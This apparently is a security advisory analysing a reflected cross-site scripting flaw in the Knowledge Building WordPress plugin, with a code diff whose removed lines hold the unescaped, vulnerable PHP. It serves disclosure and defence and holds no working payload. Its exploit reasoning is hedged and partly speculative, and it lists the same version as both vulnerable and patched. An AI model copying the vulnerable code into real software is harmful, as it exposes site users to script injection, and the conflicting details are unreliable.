Opens in a new tab
Published : November 15, 2026

CVE-2026-121863: Knowledge Building < 0.7.3 Reflected Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 0.7.3
Patched Version 0.7.3
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-121863: The Knowledge Building plugin for WordPress versions up to 0.7.3 suffers from a Reflected Cross-Site Scripting (XSS) vulnerability. The flaw resides in the unauthenticated AJAX handler `knbu_provide_knbu_info` registered via `knbu_ajax_hook` on the `init` action. This handler accepts POST parameters `post_ID` and `knbu_ID` without proper sanitization or escaping, and echoes knowledge type data back in a JSON response. The CVSS score is 6.1 (Medium).

Root Cause: The vulnerable code path begins in `knowledge-building.php` at the `knbu_ajax_hook` function (line ~29 in the diff), which hooks `knbu_provide_knbu_info` into the `wp` action when `$_POST[‘knbu_ktype_info’]` is set. The `knbu_provide_knbu_info` function (lines ~130-160 in the diff) uses `$_POST[‘post_ID’]` and `$_POST[‘knbu_ID’]` directly without validation, then retrieves a knowledge type from the `$knbu_kbsets` array. It outputs `description` and `checklist` fields using `nl2br()` on unsanitized XML data from the plugin’s bundled kbsets files, and returns them in a JSON response. If an attacker can control the `knbu_ID` parameter to reference a type set containing malicious script (e.g., by manipulating the request to point to a different post where a crafted knowledge type is mapped), or if the plugin’s data is otherwise tainted, the unescaped output in the JSON response can lead to script execution in the context of the victim’s browser. The patch adds `sanitize_text_field`, `absint`, and `wp_kses` with an allowlist of HTML tags, plus nonce checks and capability checks, indicating the original code lacked these protections. The diff shows the vulnerable version used `die(json_encode(…))` and directly concatenated unescaped values. The patch replaces this with `wp_send_json()` and applies `wp_kses()` to the description and checklist fields, and sanitizes the input parameters.

Exploitation: An attacker crafts a URL or form that submits a POST request to `/wp-admin/admin-ajax.php` with parameters `action=knbu_provide_knbu_info`, `knbu_ktype_info=1`, `post_ID=`, and a malicious `knbu_ID` that points to a knowledge type with script payload in its description or checklist (e.g., if the attacker can upload or influence the XML files). Alternatively, if the plugin’s AJAX endpoint is accessible and the knowledge type data can be influenced via other means, the attacker could inject script. The response is JSON containing the unescaped HTML, which the frontend JavaScript (knowledgebuilding.js) likely inserts into the DOM without sanitization. An attacker can trick a logged-in user (or any user) into visiting a page that triggers this AJAX request, leading to script execution. The patch’s addition of `wp_kses` and input sanitization confirms the original lack of output escaping. The vulnerable endpoint is `/wp-admin/admin-ajax.php` with `action=knbu_provide_knbu_info` (registered via `knbu_ajax_hook`). The attack vector is reflected XSS, requiring user interaction (clicking a link or submitting a form).

Patch Analysis: The patch (v0.7.3) adds multiple security layers. In `knbu_provide_knbu_info`, it: (1) sanitizes `$_POST[‘post_ID’]` with `absint()`, (2) sanitizes `$_POST[‘knbu_ID’]` with `sanitize_text_field()`, (3) checks if the post is publicly viewable or the user has `read_post` capability, (4) uses `knbu_get_type()` to validate the type ID against the post’s mapped knowledge type set, (5) applies `wp_kses()` with an allowlist (`b`, `strong`, `i`, `em`, `br`, `p`) to the `description` and `checklist` fields before outputting with `wp_send_json()`. Additionally, it adds nonce verification (`check_admin_referer`) to the options page, escapes output in various templates, and removes the dangerous `knbu_ajax_hook` that registered the handler on `init` without proper checks. The patch also adds `knbu_reply_error` and refactors `knbu_new_reply_ajax` to use `wp_handle_comment_submission`. These changes collectively prevent reflected XSS by ensuring all user-controllable inputs are sanitized and outputs are escaped or filtered.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of authentication cookies, defacement, redirection to malicious sites, or performing actions on behalf of the victim (e.g., creating admin users if the victim is an administrator). Since the vulnerability is reflected, the attacker must trick a user into clicking a crafted link or submitting a form, but no authentication is required to craft the attack. The CVSS score of 6.1 reflects the medium severity due to the need for user interaction and the potential for limited scope. Atomic Edge research assesses the impact as significant for WordPress sites using this plugin, as it can compromise user sessions and lead to further compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/knowledge-building/comments.php
+++ b/knowledge-building/comments.php
@@ -1,12 +1,26 @@
-
-<div><?php knbu_list_comments(); ?></div>
-<br>
-<div id="respond">
-	<h3 id="reply-title">Leave a Reply</h3>
-
-	<form action="<?php echo site_url(); ?>/wp-comments-post.php" method="post" id="commentform">
-		<?php comment_id_fields(); ?>
-		<?php knbu_comment_form_map(get_the_ID()); ?>
-<?php do_action( 'comment_form', $post_id ); ?>
-	</form>
-</div>
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+// Same rule as core themes: hide comments until the post password is given.
+if ( post_password_required() ) {
+	return;
+}
+?>
+<div><?php knbu_list_comments(); ?></div>
+<br>
+<?php if ( comments_open() ) { ?>
+<div id="respond">
+	<h3 id="reply-title">Leave a Reply</h3>
+	<?php if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) { ?>
+	<p class="must-log-in">You must be <a href="<?php echo esc_url( wp_login_url( get_permalink() ) ); ?>">logged in</a> to post a comment.</p>
+	<?php } else { ?>
+	<form action="<?php echo esc_url( site_url( '/wp-comments-post.php' ) ); ?>" method="post" id="commentform">
+		<?php comment_id_fields(); ?>
+		<?php knbu_comment_form_map(get_the_ID()); ?>
+<?php do_action( 'comment_form', get_the_ID() ); ?>
+	</form>
+	<?php } ?>
+</div>
+<?php } ?>
--- a/knowledge-building/knowledge-building.php
+++ b/knowledge-building/knowledge-building.php
@@ -3,7 +3,7 @@
 Plugin Name: Knowledge Building
 Plugin URI: http://fle4.aalto.fi/kb-wp-plugin
 Description: Use post comment threads to facilitate meaningful knowledge building discussions. Comes with several knowledge type sets (eg. progressive inquiry, six hat thinking) that can be used to semantically tag comments, turning your Wordpress into a knowledge building environment. Especially useful in educational settings.
-Version: 0.7.2
+Version: 0.7.3
 Author: Tarmo Toikkanen, Antti Sandberg
 Author URI: http://tarmo.fi
 */
@@ -25,16 +25,17 @@
     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 global $knbu_db_version;
 $knbu_db_version='0.12';
-$knbu_plugin_version = '0.7.2';
+$knbu_plugin_version = '0.7.3';

-add_action('init', 'knbu_init_mapview');
 add_action('wp_enqueue_scripts', 'knbu_enqueue_scripts');
-//add_action('comment_form', 'knbu_comment_form_map');
-add_action('init','knbu_ajax_hook');
-add_action('wp_print_scripts', 'knbu_script_load');
-add_action('wp_print_styles', 'knbu_custom_stylesheet');
+add_action('wp_enqueue_scripts', 'knbu_script_load');
+add_action('wp_enqueue_scripts', 'knbu_custom_stylesheet');
 add_action('comments_array', 'knbu_fetch_ktypes', 10, 2);
 add_action('comment_post', 'knbu_store_comment');
 add_action('admin_menu', 'knbu_plugin_menu');
@@ -49,44 +50,42 @@

 add_filter( 'comments_template', 'knbu_comment_template' );
 add_filter('template_include', 'knbu_map_view_template');
-add_filter('comment_save_pre', 'knbu_store_comment');

 register_activation_hook(__FILE__,'knbu_install');

 function knbu_upgrade_hook() {
 	global $knbu_plugin_version, $wpdb;
-
+
+	if ( ! current_user_can( 'manage_options' ) ) return;
+
 	if(get_option( 'knbu_plugin_version' ) != $knbu_plugin_version) {
-
+
 		$table_name = $wpdb->prefix . 'knowledgetypes';
-
-		if( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name )
-		{ knbu_custom_table_to_comment_meta(); }
-
+
+		if ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) ) ) == $table_name ) {
+			// Try again on a later admin page load if the migration fails.
+			if ( ! knbu_custom_table_to_comment_meta() ) return;
+		}
+
 		update_option( 'knbu_plugin_version', $knbu_plugin_version );
 	}
 }

 /*
- * This code snippet loads the XML specifications of KB typesets into memory.
- * Uses wp_cache to optimize performance.
+ * Load the XML specifications of KB typesets into memory.
+ *
+ * The files are small and local, so they are parsed on every request.
+ * SimpleXMLElement objects can't be serialized, so they must not be put into
+ * a persistent object cache.
  */
-$knbu_kbsets = wp_cache_get('knbu_kbsets');
-
-if ( $knbu_kbsets == false ) {
-	$knbu_kbsets = array();
-# Read available KBset xml files into memory
-	$kbset_dir = __DIR__.DIRECTORY_SEPARATOR.'kbsets';
-	$d = dir($kbset_dir);
-	while ( false != ($entry = $d->read()) ) {
-		if ( preg_match('/.xml$/i',$entry) ) {
-			$fname = explode('.',$entry);
-			$fname = $fname[0];
-			$knbu_kbsets[$fname]=simplexml_load_file($kbset_dir.DIRECTORY_SEPARATOR.$entry);
-		}
+$knbu_kbsets = array();
+foreach ( (array) glob( __DIR__ . '/kbsets/*.xml' ) as $knbu_kbset_file ) {
+	$knbu_kbset_xml = simplexml_load_file( $knbu_kbset_file );
+	if ( $knbu_kbset_xml ) {
+		$knbu_kbsets[ pathinfo( $knbu_kbset_file, PATHINFO_FILENAME ) ] = $knbu_kbset_xml;
 	}
-	wp_cache_set('knbu_kbsets',$knbu_kbsets);
 }
+unset( $knbu_kbset_file, $knbu_kbset_xml );

 /**
  * Hooked into plugin activation.
@@ -109,7 +108,7 @@
  * Register option page for this plugin.
  */
 function knbu_plugin_menu() {
-	add_options_page('Knowledge Building Plugin Options', 'Knowledge Building', 'administrator', __FILE__, 'knbu_plugin_options');
+	add_options_page('Knowledge Building Plugin Options', 'Knowledge Building', 'manage_options', 'knowledge-building', 'knbu_plugin_options');
 	// Temporarily added installation hook here, since register_activation_hook doesn't work properly
 	knbu_install();
 }
@@ -123,48 +122,49 @@
 	global $knbu_kbsets;
 	$hidden = 'knbu_form_posted';

+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_die( 'You do not have sufficient permissions to access this page.' );
+	}
+
 # Update options if form is submitted
 	if ( isset($_POST[$hidden]) && $_POST[$hidden] == 'Y' ) {
+		check_admin_referer( 'knbu_save_options' );
 		$sels = array();
-		foreach ( $knbu_kbsets as $file => $xml ) {
-			$fname = explode('.',$file);
-			$fname = $fname[0];
-			foreach ( get_categories(array('hide_empty' => 0)) as $name => $cat ) {
-				$value = $_POST['cat_' . $cat->cat_ID];
-				$sels[$cat->cat_ID] = $value;
-			}
+		foreach ( get_categories(array('hide_empty' => 0)) as $cat ) {
+			$key   = 'cat_' . $cat->cat_ID;
+			$value = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : '';
+			// Only accept the name of an installed type set.
+			$sels[$cat->cat_ID] = isset( $knbu_kbsets[ $value ] ) ? $value : '';
 		}
 		update_option('knbu_categories',$sels);
-		update_option('knbu_main_title_required', $_POST['main-title-field'] == 'required');
+		update_option('knbu_main_title_required', isset( $_POST['main-title-field'] ) && 'required' === $_POST['main-title-field'] );
 	}
-	$sels = get_option('knbu_categories'); ?>
+	$sels = (array) get_option('knbu_categories', array()); ?>
 		<div class="wrap">
-			<form method="post" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
-			<input type="hidden" name="<?php echo $hidden; ?>" value="Y"/>
-			<h2>Select Knowledgetype Sets to use with each Category</h2>
+			<form method="post" action="">
+			<?php wp_nonce_field( 'knbu_save_options' ); ?>
+			<input type="hidden" name="<?php echo esc_attr( $hidden ); ?>" value="Y"/>
+			<h1>Select Knowledgetype Sets to use with each Category</h1>
 			<p>
 				<table style="width: 100%; cell-spacing: 10px; padding-left: 40px;">
 				<tr valign="top">
 				<td></td>
 				<?php foreach ( get_categories(array('hide_empty' => 0)) as $name => $cat ) { ?>
-					<th style="text-align:center;font-weight: bold;"><?php echo $cat->name; ?></th>
+					<th style="text-align:center;font-weight: bold;"><?php echo esc_html( $cat->name ); ?></th>
 				<?php } ?>
 				</tr>
 				<tr>
 					<th style="text-align: left">None</th>
 					<?php foreach ( get_categories(array('hide_empty' => 0)) as $name => $cat ) { ?>
-						<td style="text-align:center;padding:10px 0;"><input type="radio" name="<?php echo 'cat_' . $cat->cat_ID;?>" value="" <?php if (!isset($sels[$cat->cat_ID]) || !$sels[$cat->cat_ID]) { echo 'checked="checked"'; } ?>/></td>
+						<td style="text-align:center;padding:10px 0;"><input type="radio" name="<?php echo esc_attr( 'cat_' . $cat->cat_ID ); ?>" value="" <?php if (!isset($sels[$cat->cat_ID]) || !$sels[$cat->cat_ID]) { echo 'checked="checked"'; } ?>/></td>
 					<?php } ?>
 				</tr>
-				<?php foreach ( $knbu_kbsets as $file => $xml ) {
-					$fname = explode('.',$file);
-					$fname = $fname[0];
-					?>
+				<?php foreach ( $knbu_kbsets as $fname => $xml ) { ?>
 					<tr style="padding: 10px 0">
-					<th style="padding: 10px 0;text-align: left"><?php echo $xml->KnowledgeTypeSet['Name']; ?>
+					<th style="padding: 10px 0;text-align: left"><?php echo esc_html( $xml->KnowledgeTypeSet['Name'] ); ?>
 					</th>
 					<?php foreach ( get_categories(array('hide_empty' => 0)) as $name => $cat ) { ?>
-						<td style="text-align:center"><input type="radio" name="<?php echo 'cat_' . $cat->cat_ID; ?>" value="<?php echo $fname; ?>" <?php if (isset($sels[$cat->cat_ID]) && $sels[$cat->cat_ID] == $fname) { echo 'checked="checked"'; } ?>/></td>
+						<td style="text-align:center"><input type="radio" name="<?php echo esc_attr( 'cat_' . $cat->cat_ID ); ?>" value="<?php echo esc_attr( $fname ); ?>" <?php if (isset($sels[$cat->cat_ID]) && $sels[$cat->cat_ID] == $fname) { echo 'checked="checked"'; } ?>/></td>
 					<?php } ?>
 					</tr>
 				<?php } ?>
@@ -181,7 +181,7 @@
 				</table>
 			</p>
 			<p class="submit">
-			<input type="submit" class="button-primary" value="<?php _e('Save Changes'); ?>" />
+			<input type="submit" class="button-primary" value="<?php esc_attr_e('Save Changes'); ?>" />
 			</p>
 			</form>
 		</div>
@@ -199,17 +199,19 @@
  * @return string Found KB typeset or false if not found.
  */
 function knbu_get_kbset_for_post($id = false) {
-	global $post;
-
-	if(!$id)
+	global $post, $knbu_kbsets;
+
+	if ( ! $id ) {
+		if ( ! $post instanceof WP_Post ) return false;
 		$id = $post->ID;
-
+	}
+
 	$kbset = false;
-	$sels = get_option('knbu_categories');
-
+	$sels = (array) get_option('knbu_categories', array());
+
 	foreach ( get_the_category($id) as $cat ) {
-		$value = $sels[$cat->cat_ID];
-		if ( $value ) $kbset = $value;
+		$value = isset( $sels[$cat->cat_ID] ) ? $sels[$cat->cat_ID] : '';
+		if ( $value && isset( $knbu_kbsets[$value] ) ) $kbset = $value;
 	}
 	return $kbset;
 }
@@ -226,13 +228,9 @@
  * @return array             The KB type for the comment
  */
 function knbu_get_ktype_for_comment($comment) {
-	global $knbu_kbsets,$post;
-	$kbset = knbu_get_kbset_for_post();
-	$kbtypes = $knbu_kbsets[$kbset]->KnowledgeTypeSet[0]->KnowledgeType;
-	foreach ( $kbtypes as $ktype ) {
-		if ( $ktype['ID'] == $comment->ktype ) return $ktype;
-	}
-	return false;
+	$type_id = get_comment_meta( $comment->comment_ID, 'kbtype', true );
+	if ( '' === $type_id ) return false;
+	return knbu_get_type( $type_id, $comment->comment_post_ID );
 }


@@ -245,23 +243,29 @@
  */
 function knbu_store_comment($comment) {
 	global $wpdb;
+	// phpcs:disable WordPress.Security.NonceVerification.Missing -- runs inside core comment submission (wp-comments-post.php), which has no nonce.
 	if ( !isset( $_POST['knbu_type'] ) ) return $comment;
-	$ktype = $_POST['knbu_type'];
-
+
 	if (is_numeric($comment))
 		$comment = get_comment($comment);
-
+	if ( ! $comment ) return $comment;
+
+	// Only accept knowledge types that belong to this post's type set.
+	$ktype = knbu_get_type( sanitize_text_field( wp_unslash( $_POST['knbu_type'] ) ), $comment->comment_post_ID );
+	if ( ! $ktype ) return $comment;
+
+	$title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : '';
+
 	// Get map index
 	// Basically just the node number
 	$map_index = get_post_meta( $comment->comment_post_ID, 'knbu_map_index', true );
-	update_post_meta( $comment->comment_post_ID, 'knbu_map_index', $map_index + 1 );
-
-
-	//update_comment_meta( $id, 'knbu_map_comment_index', $var->index );
-	update_comment_meta( $comment->comment_ID, 'comment_title', $_POST['title'] );
-	update_comment_meta( $comment->comment_ID, 'kbtype', $ktype );
-	update_comment_meta( $id, 'knbu_map_comment_index', $map_index );
+	update_post_meta( $comment->comment_post_ID, 'knbu_map_index', (int) $map_index + 1 );
+
+	update_comment_meta( $comment->comment_ID, 'comment_title', $title );
+	update_comment_meta( $comment->comment_ID, 'kbtype', (string) $ktype['ID'] );
+	update_comment_meta( $comment->comment_ID, 'knbu_map_comment_index', $map_index );
 	return $comment;
+	// phpcs:enable WordPress.Security.NonceVerification.Missing
 }
 /**
  * Fetch the KB types for all comments.
@@ -306,20 +310,20 @@
 	<div id="comment_sorter">

 	<?php $sort = '
-		<img class="sort-up" src="'.plugins_url().'/knowledge-building/images/sort-up.png">
-		<img class="sort-down" src="'.plugins_url().'/knowledge-building/images/sort-down.png">'; ?>
+		<img class="sort-up" src="' . esc_url( plugins_url( 'images/sort-up.png', __FILE__ ) ) . '">
+		<img class="sort-down" src="' . esc_url( plugins_url( 'images/sort-down.png', __FILE__ ) ) . '">'; ?>
 	<h3>Show notes</h3>
 	<ul>
-		<li data-type="on-a-map" class="selected">on a map <?php echo $sort; ?></li>
-		<li data-type="as-thread">as thread <?php echo $sort; ?></li>
-		<li data-type="by-knowledge-type">by knowledge type <?php echo $sort; ?></li>
-		<li data-type="by-person">by person <?php echo $sort; ?></li>
-		<li data-type="by-date">by date <?php echo $sort; ?></li>
+		<li data-type="on-a-map" class="selected">on a map <?php echo $sort; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- static markup with escaped URLs ?></li>
+		<li data-type="as-thread">as thread <?php echo $sort; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- static markup with escaped URLs ?></li>
+		<li data-type="by-knowledge-type">by knowledge type <?php echo $sort; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- static markup with escaped URLs ?></li>
+		<li data-type="by-person">by person <?php echo $sort; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- static markup with escaped URLs ?></li>
+		<li data-type="by-date">by date <?php echo $sort; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- static markup with escaped URLs ?></li>
 	</ul>
 	</div>
 	<div id="map-frame">
-		<a href="<?php echo add_query_arg( 'map-view', '1' ); ?>" target="_blank">
-			<img src="<?php echo plugins_url(); ?>/knowledge-building/images/logo.png">
+		<a href="<?php echo esc_url( add_query_arg( 'map-view', '1', get_permalink() ) ); ?>" target="_blank">
+			<img src="<?php echo esc_url( plugins_url( 'images/logo.png', __FILE__ ) ); ?>">
 			<span>Open map view</span>
 		</a>
 	</div>
@@ -359,8 +363,9 @@
 	 * @param int $depth Depth of comment in reference to parents.
 	 * @param array $args
 	 */
-	function start_el(&$output, $comment, $depth, $args) {
-		global $comment_number;
+	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
+		global $comment_number;
+		$comment = $data_object;
 		$depth++;
 		$GLOBALS['comment_depth'] = $depth;

@@ -370,187 +375,104 @@
 		}

 		$GLOBALS['comment'] = $comment;
-		extract($args, EXTR_SKIP);

 		$ktype = knbu_get_ktype_for_comment($comment);
 		$avatar = knbu_get_avatar_url($comment->comment_author_email);
-
-		echo knbu_comment($comment->comment_ID, array(
-			"type" => $ktype["Name"],
-			"type_id" => $ktype["ID"],
-			"index" => get_comment_meta(get_comment_ID(), 'knbu_map_comment_index', true ),
-			"title" => get_comment_meta(get_comment_ID(), 'comment_title', true ),
+		$index = get_comment_meta( $comment->comment_ID, 'knbu_map_comment_index', true );
+
+		// knbu_comment() prints the comment directly.
+		knbu_comment($comment->comment_ID, array(
+			"type" => $ktype ? (string) $ktype["Name"] : '',
+			"type_id" => $ktype ? (string) $ktype["ID"] : '',
+			"index" => $index,
+			"title" => get_comment_meta( $comment->comment_ID, 'comment_title', true ),
 			"username" => $comment->comment_author,
 			"content" => $comment->comment_content,
 			"date" => date(get_option('date_format'), strtotime($comment->comment_date)),
 			"time" => date(get_option('time_format'), strtotime($comment->comment_date)),
 			"avatar_src" => $avatar,
-			"link_href" => "#".get_comment_meta(get_comment_ID(), 'knbu_map_comment_index', true ),
-			"color" => $ktype['Colour'],
+			"link_href" => "#" . $index,
+			"color" => $ktype ? (string) $ktype['Colour'] : '#fff',
 			"number" => $comment_number++
 		), false);
-
-		return;
-
-		if ( 'div' == $args['style'] ) {
-			$tag = 'div';
-			$add_below = 'comment';
-		} else {
-			$tag = 'li';
-			$add_below = 'div-comment';
-		}
-			?>
-			<<?php echo $tag ?> <?php comment_class(empty( $args['has_children'] ) ? '' : 'parent') ?> id="comment-<?php comment_ID() ?>" data-comment-index="<?php echo ++$comment_index; ?>">
-			<?php if ( 'ul' == $args['style'] ) : ?>
-			<div id="div-comment-<?php comment_ID() ?>" class="comment-body" style="background-color: <?php echo ' ' . $ktype['Colour']; ?>">
-			<?php endif; ?>
-			<div class="kbtype-label"><?php echo get_comment_meta(get_comment_ID(), 'knbu_map_comment_index', true ); ?> - <span><?php echo $ktype['Name']; ?></span></div>
-			<div class="comment-author vcard">
-			<?php if ($args['avatar_size'] != 0) echo get_avatar( $comment, $args['avatar_size'] ); ?>
-			<?php printf(__('<cite class="fn">%s</cite> <span class="says">says:</span>'), get_comment_author_link()) ?>
-			</div>
-			<?php if ($comment->comment_approved == '0') : ?>
-			<em><?php _e('Your comment is awaiting moderation.') ?></em>
-			<br />
-			<?php endif; ?>
-			<div class="comment-meta commentmetadata">
-				<a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>" data-stamp="<?php echo strtotime(get_comment_date('Y-m-d').' '.get_comment_time('H:i:s')); ?>"><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()) ?></a><?php edit_comment_link(__('(Edit)'),'  ','') ?></div>
-
-			<?php comment_text() ?>
-
-			<div class="reply">
-			<?php comment_reply_link(array_merge( $args, array('add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
-			</div>
-			<?php if ( 'ul' == $args['style'] ) : ?>
-			</div>
-			<?php endif; ?>
-		<?php
 	}
+
+	/*
+	 * Comments are printed flat by start_el(), so the list and element
+	 * wrappers of Walker_Comment must not be added to the output.
+	 */
+	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {}
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {}
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {}
 }


 /*
  * Add custom stylesheets to style queue.
  *
- * Hooked to wp_print_styles action.
+ * Hooked to wp_enqueue_scripts action.
  */
 function knbu_custom_stylesheet() {
-	$myStyleUrl = WP_PLUGIN_URL . '/knowledge-building/style.css';
-	$myStyleFile = WP_PLUGIN_DIR . '/knowledge-building/style.css';
-	if ( file_exists($myStyleFile) ) {
-		wp_enqueue_style( 'myStyleSheets', $myStyleUrl);
-	}
-	//wp_enqueue_style('jquery-simpledialog', WP_PLUGIN_URL . '/knowledge-building/jquery.simpledialog/simpledialog.css');
+	wp_enqueue_style( 'knbu-style', plugins_url( 'style.css', __FILE__ ), array(), $GLOBALS['knbu_plugin_version'] );
 }
 /**
  * Add custom javascript files when needed.
- * Hooked to wp_print_scripts action. Only adds scripts when displaying comments.
+ * Hooked to wp_enqueue_scripts action. Only adds scripts when displaying comments.
  */
 function knbu_script_load() {
 	if ( ( is_single() || is_page() ) && comments_open() ) {
-		//wp_enqueue_script('jquery-simpledialog', WP_PLUGIN_URL . '/knowledge-building/jquery.simpledialog/simpledialog.js', array('jquery'));
-		wp_enqueue_script('knbu', WP_PLUGIN_URL . '/knowledge-building/knowledgebuilding.js', array('jquery','jquery-color') );
+		wp_enqueue_script( 'knbu', plugins_url( 'knowledgebuilding.js', __FILE__ ), array( 'jquery', 'jquery-color' ), $GLOBALS['knbu_plugin_version'] );
 	}
 }
-
-/**
- * Ajax hook.
- *
- * Hooked to init action to insert our own ajax handler to the wp action
- * whenever the 'knbu_ktype_info' variable is detected.
- */
-function knbu_ajax_hook() {
-	if ( isset( $_POST['knbu_ktype_info'] ) ) add_action('wp','knbu_ajax_ktype_provider');
-}
+
 /**
  * Ajax method called by comment form.
  *
- * Hooked to wp action by knbu_ajax_hook. Will die after sending information, so
- * it only returns the json formatted data.
- *
- * @uses knbu_get_kbset_for_post
- * @uses json_encode
+ * Returns the description, checklist and starting phrases of one knowledge
+ * type as JSON.
  */
 function knbu_provide_knbu_info() {
-	global $knbu_kbsets;
-	$kbset = knbu_get_kbset_for_post($_POST['post_ID']);
-	$requested = $_POST['knbu_ID'];
-
-	foreach ( $knbu_kbsets[$kbset]->KnowledgeTypeSet[0]->KnowledgeType as $ktype ) {
-		if ( $ktype['ID'] == $requested ) {
-			$cl = (string)$ktype->Checklist;
-
-			die(json_encode(array(
-									'name' => (string)$ktype['Name'],
-									'color' => (string)$ktype['Colour'],
-									'phrases' => (string)$ktype->StartingPhrase,
-									'description' => nl2br((string)$ktype->Description),
-									'checklist' => nl2br($cl)
-								)
-							)
-						);
-
-		}
-	}
-	die(json_encode(array( 'error' => 'No knowledge type found' )));
+	// phpcs:disable WordPress.Security.NonceVerification.Missing -- public, read-only lookup of bundled type set data.
+	$post_id   = isset( $_POST['post_ID'] ) ? absint( $_POST['post_ID'] ) : 0;
+	$requested = isset( $_POST['knbu_ID'] ) ? sanitize_text_field( wp_unslash( $_POST['knbu_ID'] ) ) : '';
+	// phpcs:enable WordPress.Security.NonceVerification.Missing
+	$post      = $post_id ? get_post( $post_id ) : null;
+
+	if ( ! $post || ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) ) {
+		wp_send_json( array( 'error' => 'No knowledge type found' ) );
+	}
+
+	$ktype = knbu_get_type( $requested, $post_id );
+	if ( ! $ktype ) {
+		wp_send_json( array( 'error' => 'No knowledge type found' ) );
+	}
+
+	// The type set files use simple formatting tags; allow only those.
+	$allowed = array( 'b' => array(), 'strong' => array(), 'i' => array(), 'em' => array(), 'br' => array(), 'p' => array() );
+	wp_send_json( array(
+		'name'        => (string) $ktype['Name'],
+		'color'       => (string) $ktype['Colour'],
+		'phrases'     => (string) $ktype->StartingPhrase,
+		'description' => wp_kses( nl2br( (string) $ktype->Description ), $allowed ),
+		'checklist'   => wp_kses( nl2br( (string) $ktype->Checklist ), $allowed ),
+	) );
 }

 function knbu_get_type($type_id, $post_id = false) {
 	global $knbu_kbsets;
 	$kbset = knbu_get_kbset_for_post($post_id);
-
+	if ( ! $kbset || ! isset( $knbu_kbsets[$kbset] ) ) return false;
+
 	foreach ( $knbu_kbsets[$kbset]->KnowledgeTypeSet[0]->KnowledgeType as $ktype ) {
-		if ( $ktype['ID'] == (string)$type_id ) {
+		if ( (string) $ktype['ID'] === (string) $type_id ) {
 			return $ktype;
 		}
 	}
 	return false;
 }

-/**
- * Displays custom additions to comment editing form.
- *
- * Hooked into the comment_form action. If the current post's categories do not have
- * KB typesets mapped to them, returns without doing anything, so the normal comment
- * form is displayed. For KB enabled posts, adds cognitive scaffolding.
- *
- * @param int $post_ID  The post for which scaffolding should be displayed.
- */
-function knbu_comment_form($post_ID) {
-	global $knbu_kbsets,$post;
-	$kbtype = knbu_get_kbset_for_post();
-	if ( !$kbtype ) return;
-?>
-	<div id="knbu" style="display:none;">
-		<div id="knbu_scaffold" style="display:none;">
-			<p id="knbu_heading" class="ktype_heading">Knowledge type</p>
-			<div id="knbu_checklist">Checklist</div>
-			<div id="knbu_popup" style="display:none;"><h3 id="knbu_popup_heading">Knowledge type</h3><p id="knbu_popup_p">Description</p></div>
-			<span id="knbu_selector2"><select id="knbu_ktype2">
-				<?php foreach ( $knbu_kbsets[$kbtype]->KnowledgeTypeSet[0]->KnowledgeType as $ktype ) {
-					echo '<option value="' . $ktype['ID'] . '">' . $ktype['Name'] . '</option>';
-				} ?>
-			</select></span>
-			<input id="knbu_select2" type="button" value="Change"/>
-		</div>
-		<p id="knbu_init">
-			<span id="knbu_selector">Select <select id="knbu_ktype">
-				<option value="">knowledge type</option>
-				<?php foreach ( $knbu_kbsets[$kbtype]->KnowledgeTypeSet[0]->KnowledgeType as $ktype ) {
-					echo '<option value="' . $ktype['ID'] . '">' . $ktype['Name'] . '</option>';
-				} ?>
-				</select>
-			</span>
-			<input id="knbu_select" type="button" value="Add comment"/>
-		</p>
-		<input id="knbu_real_ktype" type="text" style="display:none;"" name="knbu_ktype" value=""/>
-	</div>
-<?php
-}
-
 function knbu_comment_template( $comment_template ) {
-	global $post;
-	$knbu = knbu_get_kbset_for_post($post->post_ID);
+	$knbu = knbu_get_kbset_for_post( get_the_ID() );
 	if(!$knbu)
 		return $comment_template;

@@ -560,8 +482,9 @@
 function knbu_comment_form_map($post_ID) {
 	?>
 	<div class="knbu-form">
-	<input type="hidden" value="<?php echo admin_url('admin-ajax.php'); ?>" id="admin-ajax-url">
-	<input type="hidden" value="<?php echo $post_ID; ?>" id="post-id">
+	<input type="hidden" value="<?php echo esc_url( admin_url('admin-ajax.php') ); ?>" id="admin-ajax-url">
+	<input type="hidden" value="<?php echo esc_attr( wp_create_nonce( 'knbu_new_reply' ) ); ?>" id="knbu-reply-nonce">
+	<input type="hidden" value="<?php echo esc_attr( $post_ID ); ?>" id="post-id">
 	<input type="hidden" name="parent-comment" id="parent-comment-id">

 	<?php if(is_user_logged_in()) { ?>
@@ -582,7 +505,7 @@
 		</p>
 	<?php } ?>
 	<p><label for="title">Knowledge type <span class="required">*</span></label>
-		<?php echo knbu_get_knowledge_type_select(); ?>
+		<?php echo knbu_get_knowledge_type_select(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaped when built ?>
 	</p>
